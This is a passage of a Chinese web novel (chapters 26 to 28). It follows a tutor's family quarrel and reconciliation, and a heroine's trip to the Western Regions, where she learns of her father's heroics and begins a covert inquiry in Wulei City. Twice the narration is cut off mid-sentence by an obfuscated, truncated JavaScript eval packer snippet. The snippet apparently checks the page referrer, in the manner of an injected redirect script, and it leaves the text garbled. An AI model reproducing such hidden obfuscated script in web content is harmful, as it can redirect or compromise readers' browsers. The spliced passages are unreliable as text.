她先朝隔墙飚高音:“爬墙头的货色,别以为做缩头乌龟我便看不见你,你是选不上秀女打熬不住了上赶着找男人么?叫春到别处叫去,别污了我家墙头。” 转头沉着脸对刘哲道:“小骚蹄子,别以为有人对你抛了几个媚眼,便尽想好事,隔墙家可是指着女儿卖个大价钱呢,便你这连束脩都交不起的穷小子,恐怕连她家的门槛都上不去,劝你别做春梦。” 刘哲见薛姝一脸发懵,想到她家世良好,何曾见过此等骂街泼妇,便对她道:“薛姑娘,谢谢你,你先回吧,我向师娘解释清楚便可。” 花师娘如何能轻易放过薛姝,在她的骂网里怎么可能有不收获骂声的漏网之鱼? 但见花师娘上下打量了薛姝一眼,冷哼道:“怎么着,瞧我是个丑八怪不顺眼?你俊俏便巴巴送上门来。哼,别指望能沾着这骚蹄子什么便宜,围着他转的臭虫多了去了。”也不管薛姝俏脸上红白颜色如何转换,火力又对准了刘哲,“做贼心虚了?还是想着今夜便与两个狐媚子同床双修?” 刘哲脸红耳赤,无地自容却不知如何是好。 然后,然后花师娘脸上就挨了薛姝很给力的一巴掌,伴随着一通毫不客气输出的大道理。 26. 第二十六章 师娘 刘哲看着花师娘捂着脸一言不发地进了卧室,担心地看向师傅,百里冰愣了一瞬,忙跟了过去,朵朵也跟在他身后。 刘哲想向薛姝解释,不料薛御姐气场全开,对他就是一顿劈头盖脑的臭骂:“便你这血性,为了一日三餐,堂堂七尺男儿竟能屈身如此,真不明白你为何要受这变态妇人的闲气,亏你还想考在我师父名下。人可以潜水可以咸鱼可以装死可以摆烂可以做小透明,独独不能堕落。” 刘哲低头直等薛姝说完,才抬起头恳切道:“薛姑娘,你误会了,师傅一家对我有恩,给我容身之处,师娘也并不是恶人。” 他缓缓回忆道:“一次,我无意中听见师傅对师娘说:‘娘子,小刘来了将近一个月,家里用粮增加了五分,我看你对他不甚满意,不如辞了?’师娘说‘赶他走他能去哪?不缺他吃的这口饭,我的药少抓几副便是,别折了他的读书梦。’” 花师娘的声音很冷,刘哲却听得心里一热,眼眶有些湿润,他正是长身体的时候,饭量几乎是百里家三人之和,一家人却从未对他添饭给过任何眼色。 刘哲对薛姝道:“我是百里师傅的助教,但住在云溪阁书库,只是有空过来瞧瞧有什么体力活需要我干的,还有,看看小朵朵。”犹疑片刻,“她皮,花师娘不太管她。”朵朵对于他来说,已如同亲妹妹一般。 薛姝脸色渐渐转缓,目光一直注视着刘哲,由怒其不争转为钦佩:“想不到你清冷的外表下藏着一颗细腻善良的心,如此忍辱负重。能忍常人所不能忍,方能为常人所不能为,我对你倒有些刮目相看了。” 遂十分大气而爽朗地挖百里的墙角:“是我考虑不周,给你添麻烦了,若花师娘一定要赶你走,你可来寻我,我师傅这边多个助教也没啥大不了的。” 百里冰拖着沉重的脚步走过来。 薛姝愧疚道:“对不起,百里先生,我不该,不该一时冲动动手打人,我这就去给花师娘赔不是。” 百里冰拦住她:“不怪姑娘,原是娘子无理在先。她现在谁的话都不听去,由她静静吧。”将刘哲和薛姝让到石桌旁,吩咐朵朵,“给哥哥姐姐上茶。” 朵朵应了一声“嗯”,从膳厨拎了一个茶壶和几个碗过来。 刘哲接过来给每人倒了一碗,那茶却是凉的。 百里冰喝了一口冷茶,神色有些木然地对刘哲和薛姝道:“娘子出身书香世家,十里八乡没有长得比她更俊的女子,她放着门当户对不嫁,非要嫁矮穷挫的我,说图我书念得好,为此不惜与自己的爹娘决裂。我当时年少轻狂,带着她来到京师,发誓衣锦还乡,气死那等小瞧我的人。” 刘哲沉重地摇摇头:又是老掉牙的才子佳人私奔情节,古往今来这戏码反复上演,有多少人能花好月圆?却总还是有人愿意相信。 百里冰含着一口冷茶,缓缓吞下,苦涩道:“起初的日子琴瑟和鸣,我过五关斩六将,擢课试高第,却因无背景无法谋到一官半职,最后落脚山尚学宫。过得也还行,吃穿不愁,娘子也是柔情似水。快乐的日子嘎然而止于朵朵的出生。” 刘哲与薛姝对视一眼,均将目光投向拎着茶壶去膳厨添茶的朵朵。 百里冰声音里满是疲惫:“娘子难产,足足熬了两日,生下朵朵后昏死过去,醒来后脸上便多了一块丑陋的紫斑。她由此性情大变,越来越不近人情,也不敢出门,人当她是怪物,当面取笑,我知道她心里苦,便时时处处小心护着。” 他仰头将冷茶一饮而尽,颓然道:“都知道不是孩子的错,可若不是她,娘子也不会落下病根。”悲怆之中夹杂着悲伤,“孩子满月后便被送回乡下,前年我娘殁了,才接她回来。唉,乡下丫头疏于管教,从她回来后,时常与小人打架,三天两头便有人上门告状。” 刘哲摇头:“师傅,那是因为朵朵不许人说她娘是丑八怪,只许人称花半仙。” 薛姝端起碗喝了一口茶,皱了皱眉问:“大夫说能治么?” 百里冰摇头道:“请了多个名医诊治,说原就是娘胎里带来的,以前身子强健未有显露,如今身子被掏空便露出颓败迹象,大都敷衍说养好身子便好了。人参鹿茸等大补之材通通用上了,我的俸禄,除了必须的吃饭穿衣外全都用在请医购药上,却无一丝起色。” 薛姝沉吟道:“我乳母能治妇人的疑难杂症,改日我让她来给花师娘瞧瞧。” 百里冰眼里含着一丝希望:“如此甚好,在此先谢过薛姑娘。” 刘哲对薛姝深深一揖:“我替师娘谢过薛姑娘。” 翌日,刘哲一下学便赶往百里家,做好了承受师娘雷霆万钧的心理准备。不料一进门,却见百里家在院内支了一张小餐桌,一家子正在用膳,满院子的炖鸡香味,刘哲被整不明白了。 花师娘见他进来,抬了抬眼皮道:“一开吃就到,狗鼻子呢。”吩咐朵朵,“去给小刘子拿一付碗箸。” 朵朵蹦蹦跳跳拿了一副碗筷放在桌上。 花师娘面无表情夹了一只鸡腿放进他碗里。 刘哲丈二和尚摸不着头脑,悄悄看师傅脸色,却见百里冰很师傅地板着脸。 花师娘貌似不经意地开口道:“老娘想了一宿,算是想通了,也可以说是被一掌给打醒了,薛姑娘说得对,连自己都瞧不起自己,要别人如何瞧得起。”将朵朵拉过来,擦去她脸上的污渍,“唉,这几年我都做了何事,闹得家不像家,连孩子都不得安生。” 她又夹了一个鸡翅放进刘哲碗里。 刘哲对她的转变十分震惊,这未免也太……不真实了吧,见鸡翅落在自己碗里才慌忙道:“师娘我有腿了。” 转手将鸡翅夹给朵朵。 花师娘继续道:“从今往后,只当我脸上长了一朵花,管他旁人怎么看呢?” 朵朵很是得意:“我娘是花半仙,是半张脸上长着花的仙女。” 花师娘嗔道:“你娘名花千惠,你爹名百里冰,作鬼作怪。” 百里冰满眼含着幸福的老泪道:“在我和女儿心里,你从来都是美如天仙。”他用肘子暗暗捅了捅刘哲,“对么?” 刘哲点头如捣蒜。 一家子正热闹着,门外传来一个清脆婉转的声音:“朵朵在家么?” 朵朵忙跑过去打开院门,随即传来她的欢呼声:“师傅。” 刘哲便看见一袭红装的薛姝立在院门外,夕阳的余晖照在她绯红的脸庞上,艳若桃李。 站在她身旁的还有一名四五十岁头发花白的圆脸老妪。 刘哲与百里夫妇均是一怔,同时站起身来。 薛姝不待人请,已经揽着朵朵的小肩膀带着老妪走了进来。 刘哲微微颔首:“薛姑娘好。” 薛姝颔首回礼,转身朝百里冰行了一礼:“百里先生好。” 百里冰忙不迭地回礼。 薛姝这才走到花师娘面前,鞠了一躬,诚恳而又愧疚道:“前日薛姝唐突,出手打了娘子,今特来陪罪,望娘子见谅。” 花师娘甫一见薛姝,先是一怔,随即脸色便沉了下来。也怪不得她,打人不打脸,如此被人在脸上狠扇一掌,心里肯定不好受。 刘哲紧张地注视着她,怕她拿出看家本领臭骂薛姝一顿。 百里冰忙道:“姑娘言重了,我娘子并未放在心上。” 薛姝笑着将跟在自己身后的老妪让到花师娘面前道:“这是我乳母蔡妈妈,她治妇人疾病最拿手。” 蔡妈妈对花师娘屈膝行了一礼:“老奴见过娘子。” 花师娘脸上表情颇为复杂,半是尴尬半是感动,她敷衍般还了礼,有些不自在地对薛姝道:“谢谢姑娘惦记,我脸上斑痕已有多年,各种药吃了不知多少,未见丝毫好转,想来已是治不好了的。” 百里冰劝道:“不试试怎么知道。” 花师娘默了默,神情忽然变得轻松起来,一脸坦荡地对薛姝道:“老娘的肺腑之言,不管姑娘信与不信。亏得姑娘那一掌将我打醒,我便这张脸,没亏谁欠谁的,所以也不必藏着掖着,若有人嫌污了眼,不看便罢。” 言罢,自嘲一笑:“家里杂乱,连个堂屋都没有,姑娘的好意我领了,便不留坐了,姑娘请回吧。” 刘哲注意到,花师娘说话时,跟她一起来的蔡妈妈一瞬不瞬地盯着她的脸,并未露出任何疑难之色,心道:看来薛姝所言非虚,这个妈妈有两把刷子。 蔡妈妈忽然开口道:“娘子这个斑痕可治,只是需些时日。” 花师娘神情一震,刘哲忙将桌上的吃食麻利收拾完,将桌子擦干净拿进膳厨,自觉不便听妇人说话,人老实呆在膳房生火烧水泡茶,耳朵却朝向院内。 便听蔡妈妈道:“娘子脸上的斑痕,是因生孩子气血两亏落下的病根没错,但一直吃大补之药,造成气血郁结,作用适得其反。娘子几年来应该月事不准,甚至几个月来一次。” 花师娘点头:“妈妈说得没错。” “这便是了,向下渠道疏通不畅,在上便郁结于心,造成睡眠不好,易累易怒,再加上大补之药,更是肝火旺盛,如遇事不顺易急火攻心。我用轻清渲泻、疏淤散热的药方给你疏通气血,斑痕自会慢慢消除。” 花师娘抓住蔡妈妈的手,连声音都带着颤抖:“真的,我的脸真的能治么?” 蔡妈妈肯定地点头道:“能治,只是不能心急,我给娘子开个方子,先吃三个月的汤药,看效果我再进行添减,只是有一条,娘子须得放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘哲及师傅师娘站在院门外,目送薛姝及蔡妈妈坐上马车离去,远远还听到蔡妈妈的声音:“老奴阅人无数,从没见过如此好看的后生,看着与姑娘十分登对。” 花师娘意味深长地看向刘哲。 刘哲看着师娘脸上堆着的没有八卦也有九卦的暧昧,心里一阵慌乱,因装着不明所以镇定地问道:“师娘,您有何吩咐?” 花师娘嘴角微翘:“无。”想了想,“你可有相好的姑娘?就是日夜让你牵挂放心不下的姑娘。” 刘哲表面平静,内心却泛起滔天巨浪:说好的一拍两散,互不牵挂,他从来不需要想起,却难以忘记。 青绿与阿四坐在辕座上,无来由地觉着自己的耳根发热,她伸手捏了捏,又无来由地连打了三个喷嚏,觉得好生奇怪:三伏天,太阳晒得浑身暖洋洋的,怎就打喷嚏了?不会是有人在念叨我吧。 想与人聊聊,阿四却是个闷嘴葫芦,便打他一百闷棍也打不出个闷屁的那种,连眼珠子都不带转的,不由叹了一口气。 沿途经过无数的沙漠、戈壁、草原和崇山峻岭,在多个关口换了通关凭证,此日,马车出了玉门关,进入西域地界。 清风拂面,吹过玉门关的风,吹过一片瓜田,将一地翠绿掀起,露出了绿叶下藏着的一个个圆滚滚的大家伙。 青绿看四下无人,心痒难耐,侧头看了阿四好几次,阿四目视前方宛如一尊石像,只得不甘心地停止了骚动。 车厢内传来管胖子声音:“停。” 阿四抖了抖缰绳,马车停了下来。 管胖子伸出脑袋,眯缝着眼睛懒洋洋对青绿道:“我数到十,能摘几个算几个,不回来阿四照样起驾,你便留在此处顶瓜瓜吧。” 青绿心花怒放,朝管胖子做了个鬼脸:“谢谢师兄。” 脚不沾地飞扑进瓜地,摘下一个硕大的西瓜双手抱着跑出来,隔老远扔给阿四,耳听管胖子数到“五”,气都不敢喘又折回去,这回是两腋各夹一瓜跑了回来,将瓜朝车厢一滚,在管胖子吐出“十”的一刹那跃上了马车。 阿四一甩马鞭,马儿突然飞奔起来。 尚示坐稳的青绿一个后仰,后脑勺磕在车壁上,她没来得及翻白眼,便看见瓜田另一头,几只牧羊犬大声吠着朝马车狂奔而来,顿时吓得小脸煞白。再看管胖子,早又笑翻在车厢里。 管胖子抚着自己圆圆的肚皮哼哼道:“好好一个大家闺秀,偏要出来偷鸡摸狗。” 青绿呸了他一口:“呸,你才偷鸡摸狗。这是瓜田,我只是薅了一把田里的草。”自己也笑了起来。 北归养成的德性,路边的羊毛不薅白不薅,不过也只敢将爪子伸进瓜田李下,其余偷鸡摸狗啥的,她是不敢也绝无此心,今日之所为,纯粹是回忆一把剌激。 但不知为何,想着想着,眼里便闪过一张少年清冷的脸,她在外九年所经历的一切,都不及与少年回京一载同行的记忆来得深刻。 青绿便坐在车厢外晒着太阳,回忆着往事,小脑袋一点一点地打起了瞌睡。 突然,她身子朝前一扑,差点栽下马车。 27. 第二十七章 父亲 青绿惊得睡意全无,再一看,原来是马车突然停了,阿四肌肉虬结的长臂挡在她身前。 管胖子道:“下车吧,看看湖。” 湖?到处是戈壁沙漠的地方有湖?青绿茫然四顾。 蓦地,她张大嘴倒吸了一口凉气。 面前是一个壮阔的湖泊,像一颗硕大无比的蓝宝石,镶嵌在绵延不绝的雪山和辽阔无垠的草原之间,湖面随着阳光及轻盈的湖风变幻着深浅浓淡,蓝得自然,纯净,霸气。 有那么一刹那,她感到眼前的蓝绿色是如此熟悉,仿佛早已置身其中,她的思绪随着眼波悠悠流淌,猛然惊觉,眼前的蓝绿色,便是一幅放大后平铺于天地之间的《江山万里图》。 管胖子坐在湖边的草地上,开口打断了她的浮想联翩:“此湖名为净海,你亲爹凡羲丞相,便是在此处替陛下挡了一箭。” 青绿心底一震,走到管胖子身旁坐下,手扯着他的宽袖,满脸满眼的恳切:“师兄,你快说,我爹因何在此替陛下挡箭?” 爹在她的记忆里,只有一个威严的模糊形象。 管胖子敛起脸上一贯的嘻哈,带着少有的凝重开口道:“熙元五年,你爹任大将军,随陛下西域亲征。” “陛下时常亲征么?” “非也,陛下很忙的,哪能时常亲征,此次出征,起因为一匹马。” 青绿扑闪着乌黑的大眼睛,不敢相信:“就为一匹马?陛下跑哪么老远打架?” 他们一行轻车简从,从姑藏走了一个多月才到这里,皇帝出行那么大的阵仗,得费多少时间和功夫。 管胖子不紧不慢道:“你别小看一匹马,匈奴人常仗着人强马壮,屡屡从西北入塞进犯中原。匈奴王拓跋天呈,生得虎背熊腰,面如赤狐目如铜铃甚是威猛,偏又喜欢显摆,每次进犯所率骑兵,分为白马、青駹马、乌骊马、红骍马四个方队,他则骑在一匹通体乌黑的高头大马上,威风凛凛地指挥方队分四个方向进攻。“ 青绿脑补四个方阵的壮观画面,点头道:“实力碾压。” “相比起来,由于气候、草场、马种等多方原因,我朝马匹质劣且量少,达不到战马水准,双方骑兵对阵,我方受到妥妥的降维打击。陛下也是要面子的,下决心马踏匈奴,但前提是要有比匈奴更好的战骑。” 青绿有些匪夷所思:“陛下要面子做甚?他面子还不够大么?” 管胖子乐呵道:“嘿嘿,也不单为面子啦。当今圣上天下具瞻,眼界并不局限在长城以内。我朝周边,长城以北酷寒不适合农耕民族;东向是茫茫大海;正南是热带雨林瘴气湿重;西南的青藏高原和横断山脉人类几乎绝迹,因此帝国只能向西延伸。而西域三十多个小国,多被匈奴人控制。” 青绿表示明白:“大汉帝国要向西开疆拓土,与匈奴之战必不可免,故必须有骁勇强悍的骑兵,有足够的优质战马。”迫不及待地想听下文,“师兄,是不是那什么匈奴的拖把王在与陛下打架时,朝陛下扔拖把?哦不,是射箭,然后我爹挺身而出?” 戏本子里的经典场面一贯如此。 管胖子咧咧嘴,不慌不忙地卖着关子:“你急啥?那年斥侯上奏,西域乌孙国有宝马名乌骓,通体乌黑发亮如丝缎,跑起来四蹄生风,长长的马鬃随风翱翔,能驰骋沙场横行万里。陛下一听,两眼顿时发出绿光,下令不管付出任何代价,一定要得到乌骓马。” 青绿有些无奈,照死胖子这般胡扯,何时才能进入正题?亲爹何时才能登场?正要催促,却有一阵嘈杂声传来。 青绿抬眼看去,见是一名肩背双刀的五十来岁老者领着一队人马,其中还有一名身段凹凸有致白纱遮面的女子,簇拥着一辆马车,停在离他们不远的湖边一株高大的山楂树下。 青绿猜想这是一支镖队,马车里必定是十分贵重的物品,否则二十来号人护送一辆马车岂不是杀鸡用牛刀? 正寻思间,传来女子惊呼:“哇,爷爷,这便是你说的净海么?这哪是人间仙境,简直就是天上仙境。” 便见那位带着面纱的女子一边说一边利索地翻身下马,飞扑进花海。 风掀起她的面纱,十七八岁年纪,肤色白皙细嫩,眉眼俊俏,单看脸面并不如何惊艳,再看身段,啧啧,窄袖紧身的裤装,一条黑皮带将纤腰上下部分划得极为分明,腰上部分丰满而略显跳脱,腰下部分浑圆而富有弹性,一双穿着黑色马靴的大长腿,给人错觉腰部以下全是腿。 长腿美人将五彩缤纷的鲜花编成花环戴在头上,靓丽的面容在百花加持下更显青春活泼。 青绿在心里默默地给她打了八分五,她看美人不分男女都以十分来衡量,八分五的美人不多见,萧文渊是九分,陆南燕只有五分。 青绿正欣赏着美人,忽然呆住了,但见长腿美人一边开心地采着各式花朵一边往嘴里塞,吃花美人?有意思,不怕吃错花么? 突然身旁的管胖子炸雷一般大喊:“姑娘,那个不能吃。” 管胖子的喊声惊动了领队老者,他朝吃花美人厉声喝道:“连花清,快扔了,那是曼浆果,吃了会没命的。” 名为连花清的吃花美人吓得一个激凌,扔掉了已举到唇边的一个鲜红的泛着亮光的小圆果子,似乎是不满管胖子吓着自己,她朝青绿这边恨恨地剐了一眼,便如受惊的小兔般跑回镖队。 青绿顿感不爽:瞪我做甚?又不是我吓你。 身材魁梧的双刀老者朝他们走来,双手抱拳向管胖子施了一礼:“蓬莱啸天镖局掌门连啸天,替孙女连花清谢过这位爷。唉,她一定要跟我走这趟镖,说是出来见识一下,让爷见笑了。” 管胖子还了一礼,客气道:“不值一提,在下姓管,长安城商贾。” 连啸天两眼一亮:“管爷如不嫌弃,请到那边喝几口热汤。” 管胖子摇头:“不打扰了。” 连啸天却不客气地开始拉单:“啸天镖局在蓬莱也算数一数二的大镖局,单接海上丝路贸易的货物,再从陆上丝路转运至西域,如今在河西各郡均开有分号。” 蓬莱既是海上丝绸之路的一个起点,也是陆上丝绸之路的东部起点,在当今交通及商贸上占据重要地位。 管胖子嘴张成鸭蛋型,夸张道:“听道上朋友说过,原来是连帮主的产业。” 连啸天笑问:“不知管爷做的是哪方面生意?我一直寻摸着在京师开个分号,但不知深浅不敢盲目而入。” 管胖子答得有些迟疑:“我是什么应景倒腾什么,赚些来回差价,并无门面,手上有些前几年存下的铁矿,想着往西边探探风。” 连啸天一拍大腿:“中啊。”凑近管胖子压低了嗓门,“你的铁矿如价钱合适,有多少我收多少,西边有主家托我弄一批铁矿,我一直都寻不到货源。不用着急,管爷尽管往西边探价,回头再到蓬莱,我出的价一定能让管爷满意。” 青绿感叹:商贾便是商贾,能抓住任何一个拓展业务的机会。 管胖子拱了拱手,乐呵呵道:“着啊,有机会一定拜访。” 一名穿着五彩裙子的大婶过来兜售吃食:“湖里小鱼炸的鱼饼,一文一块。” 青绿一下被勾出了馋虫,眼巴巴看向管胖子。 管胖子皱眉:“给过你零碎银子的。” 青绿遗憾:“都放在瓜地里了,本来只放一小块的,一慌,连装碎银的袋子都放在采瓜的地方了。” 管胖子顿足:“败家子。” 咬着喷香的炸鱼饼,青绿催促管胖子:“刚才说到哪了?我爹。” 管胖子稍作回忆,开口道:“陛下毫不犹豫且毫不吝啬地派出百余人的使团,以中郎将夏常惠为使者,带着牛羊丝帛万数,外加三十万两黄金前去换购雌雄两匹乌骓种马。” 青绿乍舌:“两匹?” “孰料,与匈奴交好的乌孙国王昆弥断然拒绝了汉使的要求,夏常惠仗着帝国后盾,根本不把昆弥放在眼里,出言辱骂后拂袖而去。此举极大地剌伤了昆弥的自尊,好歹他也是一国大佬,一时热血上头,命东部属邑的邑城王煎并靡将东归的汉使团成员全部诛杀殆尽。” 青绿感叹:“做事还是不能太摆谱了。” “消息传回朝廷,陛下雷霆震怒,你个龟孙小国竟敢敬酒不吃吃罚酒,因问计凡羲丞相。” 青绿心道:终于说到我爹了。 “丞相意见,乌孙是离汉王朝和匈奴最近的西域大国,对汉王朝与匈奴争夺西域的控制权来说举足轻重,如不打下乌孙,西域诸国将轻视大汉而死心塌地地依附匈奴。陛下一秒作出武力夺取乌骓马的决定,且拜凡羲为大将军随其亲征。” 青绿点头道:“原来亲征的起因是这个。” “三十万汉军攻到乌孙国都赤谷城,刚开始围城,乌孙的大臣便反了,砍下昆弥王首级献给汉军,提出议和条件:若汉军停止进攻,可任意挑选乌骓马;如不停战,则杀尽良马,全城死战。陛下的目的也不是屠城,便同意议和,立了亲汉的昆莫为乌孙新国王,缔结了臣属联盟,两国互为联姻。” 忽听那头传来连啸天中气十足的声音:“花清,这棵就是爷爷常与你说起的山楂树。”手拍着身旁傲然独立的枝繁叶茂的树干,语气里满满的崇敬:“凡大将军便是在这棵树下替皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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管胖子凑近青绿小声道:“事实上,是陛下得胜回朝路过净海,一时惊为仙湖,便右手牵着乌骓马,左臂拥着兰陵公主在湖边摆造型,俊男加美女加宝马站在一平如镜仙气缭绕的湖边,摆出了一道绝美风景线。陛下摆摆造型便罢了,但他得瑟劲上头,非要画师当场画下这幅堪称前无古人后无来者的经典画面。” 青绿忍着笑意学他挑了挑眉:“扯,继续瞎扯。” 管胖子很受伤地嘟囔道:“绝对真实。陛下站了许久,终于成功引起了躲藏在树上的煎并靡的注意,他开弓拉箭瞄了又瞄,脑子里天人交战了许久,他知道自己先前杀汉使一旦被逮住的下场。但汉帝如此得瑟,实在令他忍无可忍,遂闭眼咬牙放箭。好在大将军反应神速,替陛下接下了这一箭。” 管胖子得意道:“别问我是如何知道的,当时我是武威郡刺史,便在现场,哥这么跟你说吧,煎并靡便是我逮住并审讯的。” 坐在马车上,青绿还能听到山楂树下时断时续的谈话声。 “爷爷,大将军娶了兰馨公主么?” 不待连啸天答话,镖师们争先恐后抢答: “肯定娶了啊,谁挡得住此等妖娆美人投怀送抱。” “自古英雄难过美人关,既是皇帝赏赐,不娶白不娶。” “别说一名公主,便十个八个的,骁勇善战的大将军都消受得起。” “何时我等也能随皇帝亲征便好了。” 青绿双目圆睁看着管胖子:“我爹纳了乌孙公主为妾?”记忆里,家里并无小娘。 管胖子讪讪道:“没有,谁能让大将军纳妾?便是陛下也不能够。你爹躺在回长安的马车上,很硬气地对陛下说‘强纳妾,毋宁死’,陛下念在他是因救自己而负的伤,便不因他违抗皇命而降罪于他。” 青绿对陛下这一做法甚是不满,封赏大臣办法多的是,赏黄金赏官帽赏宅子,甚至赏封地啥的不可?偏偏要赏妻妾,臣子们不想要还得以死抗赏。 她一下想到了自己,干得太好以后是不是也被皇帝赏一头狼(郞)?大概率还是只猴(侯),一念至此,顿觉不爽,手里的虾饼也不香了,小脸耷拉了下来。 她突然想起一事,好奇地问:“啸天镖局的车里载的何物?需众多镖师护着。” 管胖子不以为意:“不过是些中原的上等胭脂水粉和紧俏的绫罗绸缎罢了,这些镖师护的不是车里的货,护的是连花清,任性而骄傲的啸天镖局小公主。” “师兄,下一步我们怎么查都护府克扣军饷?” “见子打子,见招拆招,但万变不离其宗,四个字,明察暗访。” 28. 第二十八章 二哥 西域各国中,龟兹国人口最多,商贾来往如织,各式宗教聚集,是西域经济文化中心。西域都护府便设在龟兹国东部的乌垒城。 申时,坐在马车上的青绿看见城门旁立着的刻着“乌垒城”三个字的石碑,长吁了一口气,终于到乌垒了。 心里有点小激动,最好能见二哥一面,便不说话,悄悄看一眼也是好的,九年了,二哥会不会变了模样?他过得可好?还能不能认得出自己?又摇摇头:自己这身男子打扮,那怕站在他身旁,也不会引起他的注意吧。 阿四在管胖子指挥下赶着马车停在一处高门大户前。 青绿下车给门房递了拜帖,等候门房通报的间隙,忍不住问管胖子:“为何住在你大姑家?” 管胖子道:“钱大姑是乌垒城最壕的商贾,住在这里会避免许多麻烦。” 管胖子此刻的身份,是前前任左冯翊封阿尧的侄孙,身上带着一封能以假乱真的封阿尧给钱大姑钱寅的信。 阿四取下车辕座上的一个小木箱递给青绿,青绿伸手去接,不料箱子极重,手提着十分吃力,只得双手抱在胸前。 不多时,一名眉眼精明,头上带着五色锦缎抹额,左手盘着两个核桃的老妪不紧不慢地迎了出来。 管胖子朝她行了一礼道:“钱大姑好。” 钱大姑回礼:“大侄子一路辛苦,这边请。”将管胖子朝里让。 管胖子客气:“叨扰大姑了。”称呼里把姓给省了,显得亲切许多。 青绿跟在身后,听着二人叙旧。 钱大姑道:“封叔叔这回可算是想通了,早年我爹便撺掇他在京做些买卖,这头有我爹照应着,两边赚些来回差价不香么?偏他爱惜羽毛,之前说吃皇粮不能经商,解甲了又说儿孙辈若是经商便入不了庙堂,左顾右虑的,想的忒多。老姑只认一个理,有银子便是大爷。” 管胖子满脸局促道:“是我辈辜负了大爷爷的厚望,兄弟几个均不是读书的料,更枉论进庙堂了,这往后还得仰仗大姑您呢。” 青绿抱着木箱,吃力地跨过门槛,抬眼看去,这是一座综合了中原及西域两种不同建筑风格的大宅院,大门坐西朝东,拱形门洞,外有高墙和墩台围护,房屋均为圆拱形屋顶,内里是一条轴线五进的院落,鹅卵石铺就的东西走向的甬道。 钱寅带二人径直穿过月亮门到了第二进院子的书房,书房对着的是一个开满了荷花的水池。 青绿感慨,黄沙戈壁里的荷花开得不比兰台菡萏池的差,足见钱大姑财力雄厚。 书房内,几名身段婀娜的清秀丫鬟一见客人进门,忙上来端茶倒水,裸露的纤纤细腰晃动如风摆杨柳。 管胖子好不容易将目光从一名绿衣丫鬟的腰上移开,咽了一口唾沫,从怀里取出一卷书帛,双手递给钱寅。 钱寅摊开书帛,细细辩认了一下帛上的文字,又凑近鼻子闻了闻,才展开细读。 钱老爹与封阿尧有袍泽之谊,当年一起征战西域,后钱老爹娶了于阗国公主,留在西域经商,封阿尧回京后官至左冯翊,钱老爹去世后,由长女钱寅继承衣钵,两家多年保持着书信往来。 钱寅边看帛书边笑道:“封叔叔不出手而已,一出手便是大手笔,竟能倒腾出铁矿来。”将书帛原样卷好,“大侄子,不瞒你说,如今边关管得严,老姑我还真不敢接,对换购西域马更是无能为力。老姑可不想被斩首后尸体挂在城门处示众三日。” 做盐铁马匹等官府禁品交易的,得有路子和靠山,不但要在乌垒有过硬的关系,在长安还要有实权人物罩着。青绿猜测,应该是精明的钱寅对过气的左冯翊还能发挥多少余热不托底,故推了这一本万利的买卖。 管胖子急道:“哪能呢?我大爷爷说了,大姑您在西域手眼通天,您不敢接的活,谅也无人敢接,往后侄儿也不必再来西域了。” 钱寅脸上极为受用,嘴里却谦虚道:“靠着勤勉谨慎创下的薄产,何来的手眼通天?以讹传讹罢了。”悠悠转动着手里的核桃,“大侄子先别急,既大老远来一趟,便在我这里安心住下,在乌垒城内转转,到周边小国走走,回头老姑再与你合计,总不至于让你空手而返。” “好是好,但终究不及贩马,一本万利。”管胖子毫不掩饰脸上的遗憾。 一直在旁立着充当小跟班的青绿,看到管胖子给自己递了个眼神,忙将一直抱在怀里的小木箱递给他。 管胖子打开箱盖,哗啦一下将里面的物件倒在茶几上,全是妇人用的饰品,且是眼下宫中最流行的式样,头上插的身上带的,金银翡翠珊瑚珍珠螺钿等等应有尽有,便连缝隙也塞进了一件绣着鸳鸯戏水的碧云纱粉色小肚兜。 青绿看着桌上琳琅满目的物件,一声叹息:难怪这么沉,提箱子的小手都快被累折了。她想起来了,出发前一日,管胖子领着她在东市未央宫司珍房最顶尖的老司珍私开的首饰铺里转了半晌,估计所有存货都被管胖子扫荡了。 管胖子涨红着脸对钱寅道:“大姑,这些首饰是我背着大爷爷私带的,大姑不要告诉大爷爷才好,不知道在西域可拿得出手?” 钱寅看到面前的货品大为惊讶,举着一个闪烁着七彩光芒的螺钿镜子照了照,老脸笑成了一朵菊花,一秒跨过老兄弟直接与大侄子做起了买卖:“大侄子眼光独到,这些物件,老姑必定给你倒腾出个好价钱来。往后咱姑侄俩联手做这种不掉脑袋的买卖,岂不更好?” 管胖子憨憨笑着,点头如捣蒜:“使得,使得。 “大侄子,老姑明人不说暗话,这些物件,按行情二八分,你八老姑三,如何?” 管胖子既惊且喜,语气是相当地诚恳:“大姑,您老辛苦,三七分,这便说定了,再客气我可不乐意了。” 钱寅点头,脸上一派云淡风轻:“大侄子是个聪明,是块做生意的料。” 青绿想笑,估计老妪此刻在想,这人傻钱多的胖憨憨不还价便罢了,所要分成比她开出的还低了一成,这种大侄子能再来一打便好了。 绿衣丫鬟端来一碟散发出清香的甜瓜放在茶几上,拿起一块双手递给管胖子。 管胖子伸手去接,顺势一把捏住她柔软的小手。 钱寅手里已盘成枣红色的核桃欢快地转动起来,她不紧不慢道:“大侄子刚到,想来未见识过西域美人。西街栖凤阁的头牌清倌人兮凤姐是绝色,男人么,没见过兮凤姐都不好意思说自己到过西域,巧了,老姑定了她晚膳在旗风楼弹琴助兴。” 管胖子脸现惊喜:“大姑你老肯定砸下大把银子了,我知道我知道,是大姑面子够大,别的商贾便算掏再多银子,应该也无法让兮凤姐移动莲步吧。” 清倌人只出场自家局子,这是规矩。 钱寅看一眼管胖子:“旗风楼聚集了各国美人,宾客大都是各国的王孙公卿,达官显贵,大侄子不妨先去玩玩,晚膳时间就近到亚子古丽雅间便可。” 管胖子嘴里流出了哈喇子:“那必须得去。” 青绿心里郁闷,我们是来查都护府克扣军饷的,瞧管胖子这模样像是个急色鬼似的,想了想,躬身在管胖子耳边提醒:“老爷,您先前说到了乌垒先四处走走,看看环境。” 管胖子嘻笑道:“这不就是那啥,美人多的地方热闹嘛。” 青绿一想也对,可不就趁机那啥,明察暗访,便适时装出跃跃欲试的神态:“老爷,现在便去么?” 